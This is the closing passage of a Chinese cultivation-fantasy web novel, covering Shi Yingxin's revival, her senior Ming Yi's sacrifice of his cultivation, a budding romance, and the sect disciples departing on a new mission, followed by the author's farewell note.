他这才给了那块平平无奇的石头一个正眼,这是……他在梦中炼了三百七十年的……说是绝世宝器的……玩意。 茫然地交上去,他还依旧恍惚。 但这些都不重要了。 寻鹰和明易一同坐在石映心身后,开始施展她的禁术。众人静默地在边上围观着,心中默默期盼。 姬漓看见那位名叫邬芽的道友偷偷地抹去一滴眼泪。 她一向热心肠,便关心了对方几句。后者朝她笑了笑,坦白了心里话道:“其实……施展这个禁术还需要一个条件。” 姬漓惊讶道:“是吗?什么条件?” 邬芽看向法阵中的三人,轻声道:“不死之药能修复凡心,宝器能重塑经脉,灵力可以再次让映心重得修为;这三者不过是形,虽不可或缺,但还有魂……只有以魂换魂,才能让映心真正地重生。” 姬漓张了张嘴:“换……谁的魂?你们师祖吗?” “嗯。” “哇,”姬漓无法可想,“我方才见她拼命阻拦我们去救映心,还以为她好坏;但现在却……又愿意舍命救她?哎呀,我真是想不明白。” 邬芽的泪眼朝她一笑:“师祖所做的一切不过是为了旋娉。她根本不认识映心,只认得旋娉。如今旋娉已死,师祖……怎会再活呢?现在她救映心,也许是念及幽冥宗,想要将功赎过,让因果恩怨放过幽冥宗吧……” “……太复杂了。”姬漓听得头大,摇摇头道,“人心真是单纯又复杂。” 明明有如此执着的目的,又有节外生枝的千思万绪;因此犹豫,因此反复,因此念念不忘,因此悔恨。 可也正因此,造就了人间百态,万般滋味,实在有趣。 度朔山上空,出现了一对日月。 * 作为天下第一宗门,归壹派在收拾残局一事上当仁不能让,表现出了非常的专业和尽责。在收拾好家门口的东海度朔山一事后,很快又去支援了药神洲谷神森林、梵音洲沙漠等地;好在根源已经解决,各地异样很快得到了平息。 除了弟子们忙得脚不沾地外,一切都可喜可贺、可喜可贺。 当然也有例外,比如我们大难不死的石映心,以及耗尽修为救师妹的明易,侥幸地躲过了这一劫忙碌,每日清闲得叫人牙痒痒。 “大师兄,”石映心半躺在床上,摇摇头婉拒大师兄递来的皮蛋瘦肉粥,“我真的饱了。” 明易也不勉强她,把粥放在了边上,回头又问:“今日觉得如何?” “很好呀。”石映心感受了一下,“没想到大师兄你的灵力和我很适合。就是这双眼睛……” 说着她就去扣眼珠子,被明易拉住手腕便作罢:“唉,难为师父替我找来了那么多死人的眼睛,虽然经二师兄炼制过了,但我总觉得……隐约有些奇怪。” 明易也有些忧心:“不好的话下次换一对。” “也不是不好。”石映心道,“只是感觉这些眼睛有很多想说的话。好在我已不是镜灵,不必读懂。” 明易笑道:“不做镜灵高兴吗?” 石映心也笑:“我本来只知道自己是石映心,做剑修就足够高兴了。不过大师兄你……没想到你愿意将修为全部让渡给我,你真舍得。” “换做是换月她们,定也舍得,合不合适再说。”明易并不居功,又说,“我也同你说过,这便是我命中注定的路。” 石映心想起来了:“哦,你说的是昏迷时做的梦。” 大师兄说,当时他做了一个很可怕的梦,每天都是同一天,而每一天里的石映心都会死去;不管他用什么办法,改变什么因果,只不过是换个死法罢了。他在一次次的痛苦之中又明白,只有打破循环才能出梦…… 最后找到的办法就是以他的命换她的命。 他也知道修士的梦,更何况是破境入化神的梦如何不同寻常,因此醒来后急着找师妹,就等着以命换命这一日呢。没想到最后只是需要他的修为而已……明易甚至有些受宠若惊。 “所以你不必内疚,”明易拉住师妹搭在话本上的手,温柔地望着她,“不止是我心甘情愿,更是你我的命中注定,映心……” 石映心刚醒来得知一切时是有些愧疚的,但她莫名觉得大师兄很满意现在没修为的清闲时候,再加上他天天让她别放在心上,因此愧疚也没多少了。这会见他含情脉脉的双目,心中也是一动:“大师兄……” “映心……” “大师兄……” “师姐!”【】 【END】 第320章 门被砰地打开,明易转过去一张阴沉的脸:“还要我说多少次?进屋敲门。” “这是师姐的屋,我从来不用敲门的!”曾换月蹦跶到床边,笑眯眯地把手上的话本递过去,“师姐你快看,我又写完了一个单元!” 石映心接过来:“你真厉害,换月,这回说到哪里了?” 曾换月扭着手腕道:“说到我们去天机阁的画中遇到了常曦她们……哇,那些上古往事写得我好累!顾梦真的自动笔到底什么 时候做好?我等会得去催催!不然书还没写完,我就要得腱鞘炎了!” “你这几日沉迷写话本,是否荒废了符阵学业?”明易板着脸道,“师父上次说的话……” “大师兄你还好意思说我!”曾换月一下被惹到,十分动怒,“别以为你和师姐谈上恋爱就能霸占师姐的所有时间了!你现在一点修为都没有,为何不去修炼?以后怎么保护师姐?” 明易朝曾换月微微一笑:“映心会保护我。” 曾换月:……? 她师姐就在边上说:“是啊换月,大师兄如今修为尽废也是为了救我,我应当保护他的。当然,我也会保护你。” 曾换月:等等,这不对吧。 “你……”曾换月看某人的眼神一下变得复杂,“大师兄你变了,你以前不会吃软饭的。” 明易拿起边上的皮蛋瘦肉粥递过去:“映心吃不下了,你吃么?” 曾换月咬牙道:“……不吃!大师兄你快去重新练剑啊,自从上个月引气入体后你是不是就开始懈怠了?” 明易又把粥放回去,看向床上的人道:“如今映心还在恢复之中,我一心只想照顾她,修炼也是事倍功半,不如不炼。” “大师兄,”石映心露出感动的神色,“你真是为我着想。” 曾换月:&¥#2* 啊!她憋屈地在心里怒吼,心说她以往那个只知道修炼任务万事堂的大师兄去哪了?这个一直缠着师姐的绿茶男到底是谁!?她大师兄不会被夺舍了吧! “再说……”明易瞅了眼面色变换很精彩的小师妹,解释道,“经过这一程,我也想明白了,和修炼、任务比起来,还是多陪陪重要的人更值得。之后我会放更多心思在照顾映心……和你还有梦真身上。” 说着就站了起来,朝她伸出手:“你的符阵作业呢?我替你看看。” 曾换月这下老实了:“啊……还有我吗?我就不必了吧……大师兄你要不还是专心照顾师姐……” 明易:“拿来。” 曾换月:“其实……” “光写话本了?” “……” “我管不了你,等会便去告知师父。” “……” 曾换月:啊!!! 依旧还是那个讨厌的大师兄。 至于她师姐,正看她的话本看得入迷呢,身为作者本人,于情于理于私情,都不能打断她的专心。 * 久也不久之后。 银州。 “卖得什么乱七八糟的书,写得都是什么玩意!小孩看了都要被教坏了!这是正经故事吗?” “你不爱看就别看呗,吵什么吵!” “嘴巴长在我身上还不能说了?那些什么蚩尤姬有熊,怎么都变成女人了?你问问各位,蚩尤是女的吗?姬有熊是女的吗?还有帝俊……” “你又没见过蚩尤姬有熊帝俊,你怎么知道她们不是女的?你见过啊?” “大家都这么说!那你又见过了?” “我没见过,可你不会不知道——”这人的声音变得信誓旦旦起来,“写这些故事的可是归壹派的仙人!她一定见过——” “这……” …… 书肆外议论纷纷,书肆内一片安宁。 “邓姐,”有小二找到她们老板,“外边这么吵……管不管呀?” 书肆老板自顾自地看着手中的书,头也不抬道:“何必管。” “那等会不会打起来吧?” “打起来就有府衙的人来管了。” 小二恍然大悟:“哦,说得也是!” 她佩服邓姐的处变不惊、镇定自若,知书达理,佩服她一人便能经营好这么一家处在争议风波中却屹立不倒的书肆,而且:“邓姐,你是从哪进货来那位归壹派仙人写的话本呀?那些故事近日引起了不少轩然大波呢!” 邓晴这才抬头,望向门外的天际:“不过是有些缘分罢了。” “缘分?”小二挠挠头,“听起来好玄妙哦。” 邓晴失笑道:“多看看书,总会有明白的一日。” “好!” * “不公平不公平!凭什么大师兄还没入元婴就能随我们下山做任务了?” “行了,你都嘀咕一路了!”顾梦真烦不胜烦地朝前边站在师妹身后的大师兄一抬下巴,“你本事你去大师兄面前说。” 那曾换月就没本事了。 她当然明白自己是在无理取闹,大师兄是情况特殊,而且重新修炼后的进展也很快,如今也在元婴边缘了;随她们出来做任务其实完全够用,毕竟人家很有经验,而且脑子灵活,比她们三人加起来都要靠谱。 只是……啊!!师姐剑后的位置明明是她曾换月的啊啊啊! 这时,顾梦真忽然脸色有些异样道:“没想到大师兄和映心真的互通心意了……啧,所以说我当时梦中的那两个小木人果然也有问题吗……细思极恐啊!” 曾换月完全没在听他在说什么,一心瞪着前边二人。不久后又问道:“对了,我们这次去哪来着?” “你没事吧?最近话本写上头了,正经事是完全不在意了是吧?”顾梦真忍不住吐槽她,“这次是去御兽宗啊!” “噢噢,因果牌上写了啥呀?” “写了……欸我也忘了,那提示实在太难记了!万事树到底什么时候能说些人话?” 曾换月抓住机会就要嘲讽他:“呵呵,你也没比我好到哪里去嘛!” “分明好多了,我还记得要去御兽宗!” “哼,我只是一时忘了。” “少来。” “你才少来……” …… 被某二人吵到,明易随手罩了一个隔音屏障,指着云层下的某处对师妹道:“映心你看,那处的风光不错,之后若是得空,我们可去游玩。” 石映心一瞅,山清水秀的确实漂亮,点点头道:“好啊。” 明易见她侧颜的眼睛,想到什么又问:“对了,你双眼见九影的问题好些了吗?” “估计好不了了,”石映心思酌道,“师父和师公都说是和寻鹰仙尊有关,不过仙尊已死,无可奈何;又去问了幽冥宗其他长老,也是没办法……” 别说没办法了,那些长老还打算把映心招揽去当她们幽冥宗的弟子呢,说能见九影的双目以后定有很大用处,建议映心去她们幽冥宗好好探究,顺便练练控影术…… 挖墙脚也不用这么明目张胆。 归壹派肯放人就怪了。 思及此,明易关怀道:“映心,你如何想?” “邬芽和我说了,当时寻鹰师祖是为我以命换命。”石映心看得很开,“那么承担她的因果也是理所应当。” “可……” “大师兄你不必担心我,”石映心笑道,“我并不觉得不好。我已经走完了镜灵的一程,如今也明白有无数未知的光景在眼前等我,万水千山、天南海北,只要和你们相伴,都值得一去。” 明易望着她的侧颜,心中悸动、深有感触,绵绵情意只化作一句:“嗯,我们一起。” “对了大师兄,”眼看快到地方了,石映心便想起了正经事,“这次因果牌上写了什么来着?” 明易可是不看牌子也记得:“去御兽宗找一位叫涂山的道友。提示是……” “这我记得!” “难得你记得,是什么?” “祈仙高照!” 石映心近日时常感到幸福,因此脸上常带笑容,师父见了她便笑,说她大难不死必有后福,如今福气已经在脸上显现了。石映心看看师父,深觉轮回转世来命运对她的恩赐,心中感恩。 再看看小师妹大师兄和二师兄,还有每日推开她石头洞的门,外头那一片景色怡人的好风光,更是心旷神怡。 上回去取因果牌的时候,石映心来到万事树下,感到它身上充沛的女娲神力,一时有些恍若隔世。 万事树高出了殿顶,盛开的树冠几乎将整个院子笼罩在其中,遮住了大片日光,仿若无处不在的女娲神力,将天地不轻不重地拥在怀中。 树上无数莹莹发光的因果牌,远远望去似草丛间的点点宵烛,又似结成了一张大网,就无数牵连纠缠的因果细心安排,等待有缘人的出现,取走属于她的命运。 石映心明白旋娉,也明白女娲,不作为天地之镜明白,而是作为归壹派剑修石映心明白。 她这时猜想,因果牌上有女娲神力,那么得因果牌指引下山的弟子们怎么会没有和女娲神力共通的力量呢? 也许照女娲的设想,越到后世,世间的女娲神力便会越分散;这不是一种自取灭亡,而是让无数日月之火在更多人心中燃烧,给予她们面对命运,成为更好的自己的力量。 只要世上还有太阳,还有月亮,女娲之力便永远不会消散。 放眼当下这一世,她深感幸运能成为归壹派石映心。 不是无私无心的神,不是有心无力的人,而是能一直追寻道义、求得自我的仙。 END—— 作者有话说:映心和伙伴们的故事到这里就结束啦,谢谢各位友友们的一路支持,感谢!【】